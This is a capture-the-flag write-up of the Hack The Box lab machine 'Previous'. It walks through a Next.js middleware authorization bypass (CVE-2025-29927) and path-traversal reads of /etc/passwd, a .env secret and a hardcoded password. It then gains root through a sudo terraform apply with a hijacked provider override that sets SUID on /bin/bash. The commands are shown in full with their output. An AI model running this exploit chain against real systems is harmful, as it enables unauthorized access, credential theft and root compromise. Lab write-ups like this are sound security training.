Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ nmap -sC -sV -Pn 10.10.11.83 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 22:18 UTC
Nmap scan report for 10.10.11.83
Host is up (0.72s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.66 seconds
Add previous.htbto our /etc/hosts
Page check
index page

Then we can enumerate the valid web contents
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ ffuf -u http://previous.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 5493, Words: 407, Lines: 1, Duration: 596ms]
apis [Status: 307, Size: 36, Words: 1, Lines: 1, Duration: 278ms]
api [Status: 307, Size: 35, Words: 1, Lines: 1, Duration: 278ms]
docs41 [Status: 307, Size: 38, Words: 1, Lines: 1, Duration: 286ms]
docs [Status: 307, Size: 36, Words: 1, Lines: 1, Duration: 286ms]
docs51 [Status: 307, Size: 38, Words: 1, Lines: 1, Duration: 296ms]
signin [Status: 200, Size: 3481, Words: 179, Lines: 1, Duration: 281ms]
:: Progress: [4614/4614] :: Job [1/1] :: 120 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
Then we can check signin
But we still don't have valid credits
We can check the version of next.jsfrom Wappalyzer

CVE-2025-29927
We can get the exploits about Next.js 15.2.2from exploit-db
Next.js Middleware 15.2.2 - Authorization Bypass
Then we can get the detail of poc
# PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js
# POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main
PS:
In newer affected versions (before 14.2.25 / 15.2.3 before the fix), Next.js uses the internal request header x-middleware-subrequest to record the "middleware recursion depth". It will split this header into a list by colon : and count the number of items that match the middleware name; when the count reaches the built-in threshold MAX_RECURSION_DEPTH = 5, Next.js will skip the middleware execution to avoid recursion, which can be exploited as an authentication bypass. Therefore, a common PoC needs to write the value as a mark repeated 5 times.
We can try to use the payload header
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
to bypass the authand get into /doc
We need to use burpsuiteto add the header to each request
Then you can successfully get into /doc

And we can find a downloadbutton from /example
http://previous.htb/api/download?example=hello-world.ts
We still need to add the header
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Then we can find there is a LFIvulnerable here.
we can try to LFI the file systems
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
Also, we can get the .env
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.env' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
We can also find the api document from
https://next-auth.js.org/getting-started/example#add-api-route
You can get this idea from _next/static on signin page
Then pages/api/auth/[...nextauth].jswould be our target file
But here I try static
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/static/pages/api/auth/%5B...nextauth%5D.js' \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
{"error":"File not found"}
Then we can try to fuzz the url
└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api/download?example=../../../app/.next/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/static (Status: 500) [Size: 21]
/server (Status: 500) [Size: 21]
So the http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/server/pages/api/auth/%5B...nextauth%5D.jswill be target.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ curl -s 'http://previous.htb/api/download?example=../../../../../../proc/self/cwd/.next/server/pages/api/auth/%5B...nextauth%5D.js' \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
We successfully get the credit
jeremy&password=MyNameIsJeremyAndILovePancakes
We can try to ssh connect it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Previous]
└─$ ssh jeremy@previous.htb
jeremy@previous:~$ id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
jeremy@previous:~$ whoami
jeremy
Privilege escalation
Firstly, I would like check sudo -l
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
Also, from the home directory, we can find a interesting hidden file
jeremy@previous:~$ ls -al
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Aug 26 12:32 user.txt
jeremy@previous:~$ cat .terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
Create your own executable file with the same name and have the hidden file in your home directory point to it.
mkdir -p /home/jeremy/fakeprov
cat > /home/jeremy/fakeprov/terraform-provider-examples <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /home/jeremy/fakeprov/terraform-provider-examples
sed -i 's/\/usr\/local\/go\/bin/\/home\/jeremy\/fakeprov/' /home/jeremy/.terraformrc
sudo /usr/bin/terraform -chdir=/opt/examples apply
bash -p
Then we successfully get the root shell
bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
Description
The user part mainly examines the enumeration of APIs, and the use of environment variables in the permission escalation part